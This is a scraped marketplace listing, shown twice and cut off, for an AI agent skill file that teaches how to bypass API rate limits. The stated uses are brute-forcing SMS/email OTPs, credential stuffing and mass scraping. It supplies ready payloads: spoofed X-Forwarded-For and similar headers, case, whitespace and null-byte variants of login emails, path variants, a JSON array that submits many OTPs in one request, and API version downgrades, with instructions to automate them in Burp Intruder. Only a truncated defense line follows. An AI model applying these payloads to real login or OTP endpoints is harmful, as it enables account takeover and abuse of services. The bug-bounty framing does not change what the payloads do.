api-rate-limit-bypass-techniques

Name: api-rate-limit-bypass-techniques
Author: ShulkwiSEC

18stars5forks

How to install api-rate-limit-bypass-techniques?

shulkwisec/bb-huge/api-rate-limit-bypass-techniques

$npx -y skills add ShulkwiSEC/bb-huge --skill api-rate-limit-bypass-techniques

Installs into the current project.

Summary

Identify and exploit flaws in API rate limiting enforcement. Use this skill when encountering HTTP 429 Too Many Requests errors during password brute-forcing, OTP validation, credential stuffing, or enumeration attacks. These bypasses leverage IP spoofing, parameter manipulation,

Files · 1

View on GitHub

SKILL.md

1	# API Rate Limit Bypass Techniques
2
3	## When to Use
4	- When attempting to brute-force a 4-digit or 6-digit SMS/Email OTP (One Time Password) but the server blocks access after 5 attempts.
5	- When credential stuffing a login portal protected strictly by IP-based rate limiting (e.g., 10 logins per IP address per minute).
6	- When scraping excessive amounts of data from a public API endpoint before hitting a quota wall.
7
8
9	## Prerequisites
10	- Authorized scope and target URLs from bug bounty program
11	- Burp Suite Professional (or Community) configured with browser proxy
12	- Familiarity with OWASP Top 10 and common web vulnerability classes
13	- SecLists wordlists for fuzzing and enumeration
14
15	## Workflow
16
17	### Phase 1: Bypassing IP-Based Rate Limiting
18
19	```text
20	# Concept: A WAF (Web Application Firewall) generally limits based on the client's IP address.
21	# If we can spoof our IP address using trusted Proxy metadata headers, the WAF may log the
22	# spoofed IP instead of our actual IP, allowing infinite resets of the counter.
23
24	# 1. Trigger the block (HTTP 429 Too Many Requests)
25	# 2. Add/Iterate these HTTP headers using a Burp Intruder Payload (e.g., random IP lists):
26
27	X-Forwarded-For: 12.12.12.12
28	X-Forwarded-Host: 12.12.12.12
29	X-Client-IP: 12.12.12.12
30	X-Remote-IP: 12.12.12.12
31	X-Remote-Addr: 12.12.12.12
32	X-Originating-IP: 12.12.12.12
33	True-Client-IP: 12.12.12.12
34
35	# 3. Execution: If the server responds with HTTP 200 OK after injecting a new IP,
36	# you have successfully bypassed the IP-based limitation. Automate injecting a random IP per request.
37	```
38
39	### Phase 2: Bypassing Account-Based Limiters (Path/JSON Manipulation)
40
41	```json
42	# Concept: If the rate limiter functions by tracking the specific identifier (the email or username)
43	# rather than the IP address, we must alter the identifier just enough that the WAF registers
44	# a new cache key, but the backend database query still hits the same user.
45
46	# Attempt 1: Case Sensitivity (Often the WAF is case-sensitive, DB is case-insensitive)
47	POST /login
48	{"email": "admin@target.com"} # Blocked after 5 tries
49	{"email": "AdMiN@target.com"} # WAF sees new string and allows. Backend DB ignores case and tests password.
50
51	# Attempt 2: Whitespace and Null bytes
52	{"email": "admin@target.com "} # Appending a space (Trimmed by backend)
53	{"email": "admin@target.com%00"}
54
55	# Attempt 3: Path manipulation (If endpoint is /api/v1/login)
56	POST /api/v1/login
57	POST /api/v1/login/
58	POST /api/v1//login
59	POST /api/v1/login?random=123
60	POST /api/v1/.../login
61	```
62
63	### Phase 3: The Array Payload Bypass (JSON Batching)
64
65	```json
66	# Concept: Many APIs are written in frameworks (like Spring Boot, Express, or Rails) that
67	# accept input JSON parameters as an Array, rather than a String.
68
69	# The Flaw: The Rate Limiter inspects the SINGLE HTTP request, counting it as "1 attempt".
70	# The Backend Iterates the Array and tests ALL variables in that single request.
71
72	# 1. Blocked standard request:
73	POST /validate-otp
74	{"otp": "1234"}
75
76	# 2. Array Payload (Testing 100 OTPs in 1 request):
77	POST /validate-otp
78	{"otp": ["1234", "1235", "1236", "1237", ..., "9999"]}
79
80	# If the server responds indicating a success, the backend iterated the array, bypassing the 5-attempt WAF limiter perfectly!
81	```
82
83	### Phase 4: API Versioning Downgrades
84
85	```text
86	# Concept: Developers heavily secure `/api/v3/login` with strict Cloudflare rate limiting.
87	# They often forget to apply those specific WAF rules to `/api/v1/login` or mobile endpoints.
88
89	# Action: Change the URI path.
90	POST /api/v1/login
91	# OR target mobile subdomains:
92	POST /api/mobile/login
93	Host: m.target.com
94	```
95
96	#### Decision Point 🔀
97	```mermaid
98	flowchart TD
99	A[Encounter HTTP 429 Status] --> B{What is the WAF tracking?}
100	B -->\|Client IP Address\| C[Inject X-Forwarded-For headers]
101	B -->\|Target ID / Email\| D[Inject spaces, case-switching, and path modifiers]
102	D --> E{Did the bypass work?}
103	C --> E
104	E -->\|No\| F[Attempt Array Payload Batching `[user1, user2]`]
105	E -->\|Yes\| G[Automate exploitation via Burp Intruder]
106	F -->\|Blocked entirely\| H[Test deprecated /v1/ API endpoints]
107	```
108
109
110	## 🔵 Blue Team Detection & Defense
111	- Defense-in-Depth Counting: Rate limits must track BOTH the IP Address AND the specific requeste

People who liked this also viewed

6 picks

Type

api-rate-limit-bypass-techniques

18stars5forks

View on GitHub

How to install api-rate-limit-bypass-techniques?

shulkwisec/bb-huge/api-rate-limit-bypass-techniques

$npx -y skills add ShulkwiSEC/bb-huge --skill api-rate-limit-bypass-techniques

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# API Rate Limit Bypass Techniques
2
3	## When to Use
4	- When attempting to brute-force a 4-digit or 6-digit SMS/Email OTP (One Time Password) but the server blocks access after 5 attempts.
5	- When credential stuffing a login portal protected strictly by IP-based rate limiting (e.g., 10 logins per IP address per minute).
6	- When scraping excessive amounts of data from a public API endpoint before hitting a quota wall.
7
8
9	## Prerequisites
10	- Authorized scope and target URLs from bug bounty program
11	- Burp Suite Professional (or Community) configured with browser proxy
12	- Familiarity with OWASP Top 10 and common web vulnerability classes
13	- SecLists wordlists for fuzzing and enumeration
14
15	## Workflow
16
17	### Phase 1: Bypassing IP-Based Rate Limiting
18
19	```text
20	# Concept: A WAF (Web Application Firewall) generally limits based on the client's IP address.
21	# If we can spoof our IP address using trusted Proxy metadata headers, the WAF may log the
22	# spoofed IP instead of our actual IP, allowing infinite resets of the counter.
23
24	# 1. Trigger the block (HTTP 429 Too Many Requests)
25	# 2. Add/Iterate these HTTP headers using a Burp Intruder Payload (e.g., random IP lists):
26
27	X-Forwarded-For: 12.12.12.12
28	X-Forwarded-Host: 12.12.12.12
29	X-Client-IP: 12.12.12.12
30	X-Remote-IP: 12.12.12.12
31	X-Remote-Addr: 12.12.12.12
32	X-Originating-IP: 12.12.12.12
33	True-Client-IP: 12.12.12.12
34
35	# 3. Execution: If the server responds with HTTP 200 OK after injecting a new IP,
36	# you have successfully bypassed the IP-based limitation. Automate injecting a random IP per request.
37	```
38
39	### Phase 2: Bypassing Account-Based Limiters (Path/JSON Manipulation)
40
41	```json
42	# Concept: If the rate limiter functions by tracking the specific identifier (the email or username)
43	# rather than the IP address, we must alter the identifier just enough that the WAF registers
44	# a new cache key, but the backend database query still hits the same user.
45
46	# Attempt 1: Case Sensitivity (Often the WAF is case-sensitive, DB is case-insensitive)
47	POST /login
48	{"email": "admin@target.com"} # Blocked after 5 tries
49	{"email": "AdMiN@target.com"} # WAF sees new string and allows. Backend DB ignores case and tests password.
50
51	# Attempt 2: Whitespace and Null bytes
52	{"email": "admin@target.com "} # Appending a space (Trimmed by backend)
53	{"email": "admin@target.com%00"}
54
55	# Attempt 3: Path manipulation (If endpoint is /api/v1/login)
56	POST /api/v1/login
57	POST /api/v1/login/
58	POST /api/v1//login
59	POST /api/v1/login?random=123
60	POST /api/v1/.../login
61	```
62
63	### Phase 3: The Array Payload Bypass (JSON Batching)
64
65	```json
66	# Concept: Many APIs are written in frameworks (like Spring Boot, Express, or Rails) that
67	# accept input JSON parameters as an Array, rather than a String.
68
69	# The Flaw: The Rate Limiter inspects the SINGLE HTTP request, counting it as "1 attempt".
70	# The Backend Iterates the Array and tests ALL variables in that single request.
71
72	# 1. Blocked standard request:
73	POST /validate-otp
74	{"otp": "1234"}
75
76	# 2. Array Payload (Testing 100 OTPs in 1 request):
77	POST /validate-otp
78	{"otp": ["1234", "1235", "1236", "1237", ..., "9999"]}
79
80	# If the server responds indicating a success, the backend iterated the array, bypassing the 5-attempt WAF limiter perfectly!
81	```
82
83	### Phase 4: API Versioning Downgrades
84
85	```text
86	# Concept: Developers heavily secure `/api/v3/login` with strict Cloudflare rate limiting.
87	# They often forget to apply those specific WAF rules to `/api/v1/login` or mobile endpoints.
88
89	# Action: Change the URI path.
90	POST /api/v1/login
91	# OR target mobile subdomains:
92	POST /api/mobile/login
93	Host: m.target.com
94	```
95
96	#### Decision Point 🔀
97	```mermaid
98	flowchart TD
99	A[Encounter HTTP 429 Status] --> B{What is the WAF tracking?}
100	B -->\|Client IP Address\| C[Inject X-Forwarded-For headers]
101	B -->\|Target ID / Email\| D[Inject spaces, case-switching, and path modifiers]
102	D --> E{Did the bypass work?}
103	C --> E
104	E -->\|No\| F[Attempt Array Payload Batching `[user1, user2]`]
105	E -->\|Yes\| G[Automate exploitation via Burp Intruder]
106	F -->\|Blocked entirely\| H[Test deprecated /v1/ API endpoints]
107	```
108
109
110	## 🔵 Blue Team Detection & Defense
111	- Defense-in-Depth Counting: Rate limits must track BOTH the IP Address AND the specific requeste

People who liked this also viewed

6 picks

Type